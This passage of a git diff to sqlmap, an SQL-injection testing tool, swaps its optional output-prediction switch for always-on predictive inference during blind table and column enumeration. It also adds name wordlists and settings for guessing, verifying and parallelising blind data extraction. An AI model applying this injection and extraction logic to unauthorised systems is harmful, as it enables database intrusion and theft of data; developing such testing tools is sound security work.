-vEmployeeDepartment -vEmployeeDepartmentHistory -Vendor -VendorAddress -VendorContact -vIndividualCustomer -vIndividualDemographics -vJobCandidate -vJobCandidateEducation -vJobCandidateEmployment -vProductAndDescription -vProductModelCatalogDescription -vProductModelInstructions -vSalesPerson -vSalesPersonSalesByFiscalYears -vStateProvinceCountryRegion -vStoreWithDemographics -vVendor -WorkOrder -WorkOrderRouting - -# Common tables - -accounts -admin -audit -backup -config -configuration -customers -data -files -history -images -log -logs -members -messages -orders -products -settings -test -tokens -uploads - -[Columns] - -# MySQL -## Table: mysql.user -Alter_priv -Alter_routine_priv -Create_priv -Create_routine_priv -Create_tmp_table_priv -Create_user_priv -Create_view_priv -Delete_priv -Drop_priv -Event_priv -Execute_priv -File_priv -Grant_priv -Host -Index_priv -Insert_priv -Lock_tables_priv -max_connections -max_questions -max_updates -max_user_connections -Password -Process_priv -References_priv -Reload_priv -Repl_client_priv -Repl_slave_priv -Select_priv -Show_db_priv -Show_view_priv -Shutdown_priv -ssl_cipher -ssl_type -Super_priv -Trigger_priv -Update_priv -User -x509_issuer -x509_subject - -# Oracle (types) -BINARY_INTEGER -BLOB -BOOLEAN -CHAR -CLOB -DATE -INTERVAL -LONG -MLSLABEL -NCHAR -NCLOB -NUMBER -NVARCHAR2 -RAW -ROWID -TIMESTAMP -VARCHAR -VARCHAR2 -XMLType - -# MySQL (types) -bigint -blob -char -date -datetime -decimal -double -enum -float -int -set -smallint -text -time -tinyint -varchar -year - -# Microsoft SQL Server (types) -bigint -binary -bit -char -cursor -date -datetime -datetime2 -datetimeoffset -decimal -float -image -int -money -nchar -ntext -numeric -nvarchar -real -smalldatetime -smallint -smallmoney -sql_variant -table -text -time -timestamp -tinyint -uniqueidentifier -varbinary -varchar -xml - -# PostgreSQL (types) -bigint -bigserial -boolean -bpchar -bytea -character -date -decimal -double precision -int4 -integer -interval -money -numeric -real -serial -smallint -text -time -timestamp - -# Common columns -active -address -admin -blocked -category_id -city -confirmed -country -created_at -created_on -customer_id -deleted -deleted_at -dob -email -enabled -first_name -flag -gender -hidden -is_active -is_deleted -is_published -last_name -locked -login -modified_on -name -order_id -password -phone -private -product_id -public -role -salt -state -status -timestamp -token -type -updated_at -user_id -username -visible -zip -zip_code - -# --- real-world application / CMS / framework values (repeated section headers are merged on load) --- -[Databases] -wordpress -wp -drupal -joomla -magento -prestashop -opencart -moodle -mediawiki -phpbb -typo3 -laravel -symfony -django -app -application -webapp -web -website -main -backend -api -cms -shop -store -ecommerce -blog -forum -wiki -crm -erp -billing -sales -accounts -inventory -catalog -orders -payments -customers -members -users -data -db -mydb -appdb -prod -production -dev -staging -qa -demo -sample -employees -sakila -world -classicmodels -dvwa -bwapp -mutillidae -dashboard -defaultdb - -[Users] -admin -administrator -root -sa -postgres -oracle -system -dbadmin -dba -dbo -webadmin -web -www -www-data -apache -nginx -app -appuser -application -service -svc -user -dbuser -guest -test -demo -backup -replication -monitor -readonly -superuser -wordpress -drupal -joomla -magento -laravel -django -symfony -'admin'@'localhost' -'admin'@'%' -'app'@'localhost' -'app'@'%' -'web'@'%' -'wordpress'@'localhost' diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d3fe8eadd..6ed89afa7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -23,9 +23,9 @@ a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/sta c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_ 8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_ af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ +aa4d6396df0abde7560ced7d8f7625dd70d57401db86d205f80064609c4b2772 data/txt/catalog-identifiers.txt eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -4d6a32155dd6b570e5cdae8036efd69d8f8ebab79cb82a4d094c15f35af8b13d data/txt/common-outputs.txt 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py +2b0e014869b071a2b6aa4e0c9a23427abdc61a92f09adbcce123fd0fc7ec3aa6 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,26 +181,26 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -23852bdfadfb4bd5663302a63bdcc7227c0314fbdea884167d58ca21cda9fb09 lib/core/optiondict.py -0caac9b4af2cc50321a4d8126d92481ad0b092af2075e7efa19bccef529986fb lib/core/option.py +0ba8838a8a8774a8a6baaf75d8122c3fa0cb9a6e4f468a4a94f32eb894feb754 lib/core/optiondict.py +7229352618491ee1d23bbbfd6e7f160b489ce4b1a8d99c1e873d9664382c3f8c lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py +b2ce6d9948284621cbfa73d81c97416a98e6cbf6f87e2c9dd0b493030ff85340 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py -96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py +e08683ba2558b734562a3490caf0bdde4ae8767b81b0d89fe6db346a13a452c1 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py +ea85d5eccc6d6f6f9e4423ea97dc607ef2ca10b8264e7877c128b2252d1340e3 lib/parse/cmdline.py 925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -219,7 +219,7 @@ c968a04d3de9256d56c423d46556441223607e4573627f2af4e772e084aef5fc lib/request/dn 7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py -7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py +7ad7ac3c7126b3bad5898803a87769f199f6e8ecfb8abdca4fc4a29e63932595 lib/request/inject.py df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py @@ -236,7 +236,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques/blind/inference.py +da4930b2499270172140ae1f12c4666d42b2f1c0c348fcb021d4dccedc91d0ac lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py @@ -499,8 +499,8 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f plugins/generic/databases.py -13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461 plugins/generic/entries.py +dc52b79735a2e349dbc599bc7bd3f57b58560aed977f8b053f745e93532d4e13 plugins/generic/databases.py +93c4833046dce00a60cf6ca118e6637d4be23a67aa45714f91d23215d544b023 plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py 8d5e3eacbd2a3cfec63fcf5bdcc8efc77656f29b11ca652c4ee60c72daea04ab plugins/generic/filesystem.py efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py diff --git a/lib/core/common.py b/lib/core/common.py index 4c4a4d307..e4d0fce44 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1582,10 +1582,10 @@ def setPaths(rootPath): paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") # sqlmap files + paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.txt") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") - paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") @@ -2605,42 +2605,23 @@ def calculateDeltaSeconds(start): def initCommonOutputs(): """ - Initializes dictionary containing common output values used by "good samaritan" feature + Initializes the per-context dictionary of common identifier names used by the + predictive-inference feature to shortcut blind table/column name enumeration. + Sourced directly from the curated '--common-tables'/'--common-columns' wordlists + (real-world, app-focused names); prediction only ever reorders the charset or + confirms a whole value, so it never penalizes a miss. - >>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"] + >>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"] True """ kb.commonOutputs = {} - key = None - with openFile(paths.COMMON_OUTPUTS, 'r') as f: - for line in f: - if line.find('#') != -1: - line = line[:line.find('#')] - - line = line.strip() - - if len(line) > 1: - if line.startswith('[') and line.endswith(']'): - key = line[1:-1] - elif key: - if key not in kb.commonOutputs: - kb.commonOutputs[key] = set() - - if line not in kb.commonOutputs[key]: - kb.commonOutputs[key].add(line) - - # The curated '--common-tables'/'--common-columns' brute-force wordlists are far larger and much - # more app-focused than the built-in [Tables]/[Columns] prediction sections (which are mostly - # system objects), so fold them into the good-samaritan prediction to raise its real-world hit rate. - # The mechanism only reorders the charset, so extra coverage never penalizes a miss. - for _key, _path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): + for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): try: - for _ in getFileItems(_path): - kb.commonOutputs.setdefault(_key, set()).add(_) + kb.commonOutputs[key] = set(getFileItems(path)) except SqlmapSystemException: - pass + kb.commonOutputs[key] = set() def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ @@ -2684,19 +2665,17 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un return retVal if not unique else list(retVal.keys()) -def goGoodSamaritan(prevValue, originalCharset): +def predictValue(prevValue, originalCharset): """ - Function for retrieving parameters needed for common prediction (good - samaritan) feature. + Predictive-inference helper: given the value retrieved so far (prefix), consult the + per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common- + tables/common-columns wordlists) to shortcut blind extraction. prevValue: retrieved query output so far (e.g. 'i'). - Returns commonValue if there is a complete single match (in kb.partRun - of txt/common-outputs.txt under kb.partRun) regarding parameter - prevValue. If there is no single value match, but multiple, commonCharset is - returned containing more probable characters (retrieved from matched - values in txt/common-outputs.txt) together with the rest of charset as - otherCharset. + Returns commonValue when a single wordlist entry matches the prefix (the whole value + can be confirmed in one request); otherwise commonCharset holds the more probable + next characters (reordered ahead of otherCharset) so the bisection converges faster. """ if kb.commonOutputs is None: @@ -2755,7 +2734,7 @@ def goGoodSamaritan(prevValue, originalCharset): def getPartRun(alias=True): """ Goes through call stack and finds constructs matching - conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' + conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns') """ retVal = None @@ -3692,8 +3671,8 @@ def setOptimize(): Sets options turned on by switch '-o' """ - # conf.predictOutput = True - # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers) + # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive + # inference is now an inherent, always-on part of blind name enumeration (no longer a switch) conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) diff --git a/lib/core/option.py b/lib/core/option.py index f6d555808..b67d7e062 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2243,6 +2243,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.disableHuffman = False kb.huffmanProbes = 0 kb.huffmanEscapes = 0 + kb.lowCardCache = {} + kb.dumpCharset = {} + kb.dumpCharsetStable = {} + kb.litmusCounter = 0 + kb.reliabilityAlarm = False kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None @@ -2256,7 +2261,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None @@ -2914,10 +2919,6 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) - if conf.predictOutput and (conf.threads > 1 or conf.optimize): - errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" - raise SqlmapSyntaxException(errMsg) - if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 08cbf800b..f9db84371 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -79,7 +79,6 @@ optDict = { "Optimization": { "optimize": "boolean", - "predictOutput": "boolean", "keepAlive": "boolean", "noKeepAlive": "boolean", "nullConnection": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 35ab7215c..837bcc2d4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.30" +VERSION = "1.10.7.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -560,11 +560,52 @@ for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), ( for _char in _chars: HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight -# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output -# pool for their enumeration context, so later same-context items that share structure (e.g. -# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from -# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge -# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection. +# Enumeration contexts (kb.partRun) for which predictive inference is active by default: the identifier +# names retrieved here are drawn from a known, skewed distribution captured by the common-tables/ +# common-columns wordlists, so whole-value prediction / charset reordering pays off. Deliberately NOT +# applied to arbitrary dumped data (unknown distribution) or one-shot values (banner, current-user). +NAME_PREDICTION_CONTEXTS = ("Tables", "Columns") + +# Order of the character-level Markov model used to seed the Huffman set-membership tree during blind +# name enumeration: warmed from the shipped identifier corpus so it predicts a name from the first +# character (identifiers are short, structured and low-entropy). CATALOG_IDENTIFIERS_PRIOR_PEAK is the +# weight the corpus prior is scaled to (higher -> the predicted next character sits nearer the tree +# root -> closer to one request per character). Data dumps keep the classic order-0 adaptive model. +NAME_MARKOV_ORDER = 3 +CATALOG_IDENTIFIERS_PRIOR_PEAK = 20 + +# Maximum number of distinct values a dumped column may show before it is treated as high-cardinality +# and whole-value guessing is abandoned for it. At or below this, each new cell is first confirmed by +# equality against the values already seen for that column (one request on a hit) before per-character +# extraction. Self-verifying, so it never returns a wrong value; the bound keeps misses cheap. +LOW_CARDINALITY_THRESHOLD = 32 + +# Oracle-reliability litmus: during bulk blind extraction (dumps / name enumeration) a known-answer +# differential is fired every this-many extracted values - one probe that MUST be TRUE (the value we just +# read equals itself) and one that MUST be FALSE (it equals a deliberately corrupted copy). A healthy +# oracle always answers T/F; an always-true channel (WAF/200-for-everything, reads-everything-true) or a +# flaky/degraded one (timing jitter, lease near end-of-life) trips it - converting SILENT data corruption +# into a one-time "results may be unreliable" warning. The first value is always checked (catch it before +# a whole garbage dump), then every Nth. Cheap and amortized; set to 0 to disable. +ORACLE_LITMUS_CHECK_EVERY = 25 + +# Whole-value guessing only starts once some value has repeated (proof the column is low-cardinality), so +# an all-unique column - primary key, hash, free text - never wastes a probe. Once armed, at most this +# many candidates (most-frequent first) are tried per cell, so even a column that trips the threshold with +# many near-unique values can only ever waste a small, bounded number of probes before falling back. +LOW_CARDINALITY_MAX_GUESSES = 8 + +# Number of consecutive dumped rows a column's observed character set must stay unchanged before it is +# trusted as closed and used to restrict the time-based bisection alphabet. A column whose alphabet keeps +# growing (e.g. a monotonic primary key or high-entropy text) never reaches this, so it is never charged +# the speculative restricted-search-then-escalate cost. +DUMP_CHARSET_STABLE_ROWS = 3 + +# Bounds for feeding extracted values back into the predictive-inference pool for their enumeration +# context, so later same-context items that share structure (e.g. wp_posts / wp_users / wp_options ...) +# are predicted faster. MAX_LENGTH keeps large data cells from bloating/polluting the pool (identifiers +# are short); MAX_ITEMS bounds per-context growth so a huge enumeration cannot make the per-character +# prediction scan costly. Only fed single-threaded (never mutated under value-parallel enumeration). PREDICTION_FEEDBACK_MAX_LENGTH = 128 PREDICTION_FEEDBACK_MAX_ITEMS = 10000 diff --git a/lib/core/testing.py b/lib/core/testing.py index 787d049ce..a10e33621 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -78,7 +78,7 @@ def vulnTest(tests=None, label="vuln"): ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), + ("-u --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 3bfe55d59..5a350e47a 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -318,9 +318,6 @@ def cmdLineParser(argv=None): optimization.add_argument("-o", dest="optimize", action="store_true", help="Turn on all optimization switches") - optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", - help="Predict common queries output") - # Note: persistent (Keep-Alive) connections are used by default; this opts out optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true", help="Disable persistent HTTP(s) connections (Keep-Alive)") diff --git a/lib/request/inject.py b/lib/request/inject.py index 417b638d7..416ea21aa 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -13,6 +13,10 @@ import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import applyFunctionRecursively +from lib.core.common import dataToStdout +from lib.core.common import unArrayizeValue +from lib.core.datatype import AttribDict +from lib.utils.safe2bin import safecharencode from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery @@ -22,6 +26,7 @@ from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers from lib.core.common import getTechnique from lib.core.common import getTechniqueData +from lib.core.common import incrementCounter from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique @@ -58,10 +63,13 @@ from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData +from lib.core.threads import runThreads +from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import queryOutputLength +from lib.techniques.blind.inference import valueMatchCondition from lib.techniques.dns.test import dnsTest from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse @@ -358,6 +366,153 @@ def _goUnion(expression, unpack=True, dump=False): return output +def _verifyInferredValue(expression, value): + """ + Confirm a value-parallel-inferred name with ONE equality boolean (lock-free forged + query, mirroring the predictive commonValue check). A wrong bisection bit under heavy + concurrent load on a flaky/WAF'd target flips a character; a full-value equality catches + it sharply (a corrupted name != the real one). Returns True when (expression) == value + holds, or on a transient verify error (never discard a value on a hiccup). + """ + + if value is None or isNoneValue(value): + return True + + value = unArrayizeValue(value) + if not isinstance(value, six.string_types): + return True + + if Backend.getDbms(): + _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) + nulledCastedField = agent.nullAndCastField(fieldToCastStr) + expressionUnescaped = unescaper.escape(expression.replace(fieldToCastStr, nulledCastedField, 1)) + else: + expressionUnescaped = unescaper.escape(expression) + + matchCondition = valueMatchCondition(expressionUnescaped, value) + if matchCondition is None: # non-ASCII value: no reliable whole-value equality (see valueMatchCondition) + return None # caller confirms these by an independent re-extraction instead + + query = getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition) + query = agent.suffixQuery(agent.prefixQuery(query)) + + timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) + + try: + result = bool(Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)) + incrementCounter(getTechnique()) + return result + except Exception: + return True + +def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False): + """ + Value-parallel blind retrieval. + + Retrieve many independent values concurrently, ONE whole value per worker thread, each decoded + sequentially via bisection with length=None - so there is NO per-value length probe (unlike the + position-parallel path, which must probe LENGTH() to split a value's characters across threads) and + the sequential prefix lets predictive inference / low-cardinality guessing / the per-column Huffman + model work. This parallelizes across VALUES instead of character positions - the right axis for the + MANY short values of table/column NAME enumeration (context="Tables"/"Columns" tags kb.partRun so + predictValue() consults the wordlist) and, with dump=True, of per-column data dumping (Huffman and + low-cardinality guessing engage). It bypasses getValue()'s @lockedmethod the same way union/error + row-threading calls _oneShotUnionUse directly. `exprBuilder(index)` yields the per-value expression. + Returns a list aligned with `indices` (None where a value could not be retrieved); single-thread is + just sequential retrieval (no worse than the classic loop, and still without the length probe). + """ + + indices = list(indices) + + savedTechnique = getTechnique() + + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) + elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): + setTechnique(PAYLOAD.TECHNIQUE.TIME) + else: + return None + + initTechnique(getTechnique()) + payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + + results = [None] * len(indices) + cursor = iter(xrange(len(indices))) + + def inferenceThread(): + threadData = getCurrentThreadData() + # Each per-value bisection streams its characters to stdout and mirrors them into + # threadData.shared.value - which is a PROCESS-GLOBAL object. Left as-is, concurrent + # workers interleave their character output (garbled console) and stomp each other's + # partial value. So suppress the per-char streaming here and give each worker a private + # shared-state object; a single clean line/counter is printed per completed value below. + threadData.disableStdOut = True + threadData.shared = AttribDict() + + while kb.threadContinue: + with kb.locks.limit: + try: + slot = next(cursor) + except StopIteration: + break + + expression = exprBuilder(indices[slot]) + try: + _, value = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump) + # Self-verify each value: sustained concurrent boolean load on a flaky/WAF'd target can flip + # a bisection bit (raw retrieval has no per-char validation), so confirm the whole value and + # re-extract on mismatch. ASCII values use ONE fast equality probe; a value carrying non-ASCII + # (which a quoted literal may not round-trip, AND which is itself a common corruption symptom) + # is instead confirmed by an INDEPENDENT re-extraction having to agree - a random flip will not + # reproduce the same bytes twice. Bounded to a few tries; correctness over a marginal request. + tries = 0 + while not isNoneValue(value) and not 